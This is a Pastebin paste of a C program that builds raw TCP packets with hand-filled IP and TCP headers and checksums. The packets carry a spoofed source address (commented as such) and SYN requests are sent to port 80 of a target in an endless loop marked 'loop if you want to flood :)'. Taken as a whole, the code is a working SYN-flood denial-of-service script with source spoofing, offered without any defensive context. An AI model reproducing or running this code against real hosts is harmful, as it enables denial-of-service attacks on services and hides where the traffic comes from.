Advertisement
Guest User

Untitled

a guest
May 25th, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.49 KB | None | 0 0
  1. /*
  2. Raw TCP packets
  3. Silver Moon (m00n.silv3r@gmail.com)
  4. */
  5. #include<stdio.h> //for printf
  6. #include<string.h> //memset
  7. #include<sys/socket.h> //for socket ofcourse
  8. #include<stdlib.h> //for exit(0);
  9. #include<errno.h> //For errno - the error number
  10. #include<netinet/tcp.h> //Provides declarations for tcp header
  11. #include<netinet/ip.h> //Provides declarations for ip header
  12.  
  13. /*
  14. 96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
  15. */
  16. struct pseudo_header
  17. {
  18. u_int32_t source_address;
  19. u_int32_t dest_address;
  20. u_int8_t placeholder;
  21. u_int8_t protocol;
  22. u_int16_t tcp_length;
  23. };
  24.  
  25. /*
  26. Generic checksum calculation function
  27. */
  28. unsigned short csum(unsigned short *ptr,int nbytes)
  29. {
  30. register long sum;
  31. unsigned short oddbyte;
  32. register short answer;
  33.  
  34. sum=0;
  35. while(nbytes>1) {
  36. sum+=*ptr++;
  37. nbytes-=2;
  38. }
  39. if(nbytes==1) {
  40. oddbyte=0;
  41. *((u_char*)&oddbyte)=*(u_char*)ptr;
  42. sum+=oddbyte;
  43. }
  44.  
  45. sum = (sum>>16)+(sum & 0xffff);
  46. sum = sum + (sum>>16);
  47. answer=(short)~sum;
  48.  
  49. return(answer);
  50. }
  51.  
  52. int main (void)
  53. {
  54. //Create a raw socket
  55. int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  56.  
  57. if(s == -1)
  58. {
  59. //socket creation failed, may be because of non-root privileges
  60. perror("Failed to create socket");
  61. exit(1);
  62. }
  63.  
  64. //Datagram to represent the packet
  65. char datagram[4096] , source_ip[32] , *data , *pseudogram;
  66.  
  67. //zero out the packet buffer
  68. memset (datagram, 0, 4096);
  69.  
  70. //IP header
  71. struct iphdr *iph = (struct iphdr *) datagram;
  72.  
  73. //TCP header
  74. struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  75. struct sockaddr_in sin;
  76. struct pseudo_header psh;
  77.  
  78. //Data part
  79. data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
  80. strcpy(data , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
  81.  
  82. //some address resolution
  83. strcpy(source_ip , "192.168.1.2");
  84. sin.sin_family = AF_INET;
  85. sin.sin_port = htons(80);
  86. sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
  87.  
  88. //Fill in the IP Header
  89. iph->ihl = 5;
  90. iph->version = 4;
  91. iph->tos = 0;
  92. iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
  93. iph->id = htonl (54321); //Id of this packet
  94. iph->frag_off = 0;
  95. iph->ttl = 255;
  96. iph->protocol = IPPROTO_TCP;
  97. iph->check = 0; //Set to 0 before calculating checksum
  98. iph->saddr = inet_addr ( source_ip ); //Spoof the source ip address
  99. iph->daddr = sin.sin_addr.s_addr;
  100.  
  101. //Ip checksum
  102. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  103.  
  104. //TCP Header
  105. tcph->source = htons (1234);
  106. tcph->dest = htons (80);
  107. tcph->seq = 0;
  108. tcph->ack_seq = 0;
  109. tcph->doff = 5; //tcp header size
  110. tcph->fin=0;
  111. tcph->syn=1;
  112. tcph->rst=0;
  113. tcph->psh=0;
  114. tcph->ack=0;
  115. tcph->urg=0;
  116. tcph->window = htons (5840); /* maximum allowed window size */
  117. tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
  118. tcph->urg_ptr = 0;
  119.  
  120. //Now the TCP checksum
  121. psh.source_address = inet_addr( source_ip );
  122. psh.dest_address = sin.sin_addr.s_addr;
  123. psh.placeholder = 0;
  124. psh.protocol = IPPROTO_TCP;
  125. psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
  126.  
  127. int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
  128. pseudogram = malloc(psize);
  129.  
  130. memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
  131. memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
  132.  
  133. tcph->check = csum( (unsigned short*) pseudogram , psize);
  134.  
  135. //IP_HDRINCL to tell the kernel that headers are included in the packet
  136. int one = 1;
  137. const int *val = &one;
  138.  
  139. if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
  140. {
  141. perror("Error setting IP_HDRINCL");
  142. exit(0);
  143. }
  144.  
  145. //loop if you want to flood :)
  146. while (1)
  147. {
  148. //Send the packet
  149. if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
  150. {
  151. perror("sendto failed");
  152. }
  153. //Data send successfully
  154. else
  155. {
  156. printf ("Packet Send. Length : %d \n" , iph->tot_len);
  157. }
  158. }
  159.  
  160. return 0;
  161. }
  162.  
  163. //Complete
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement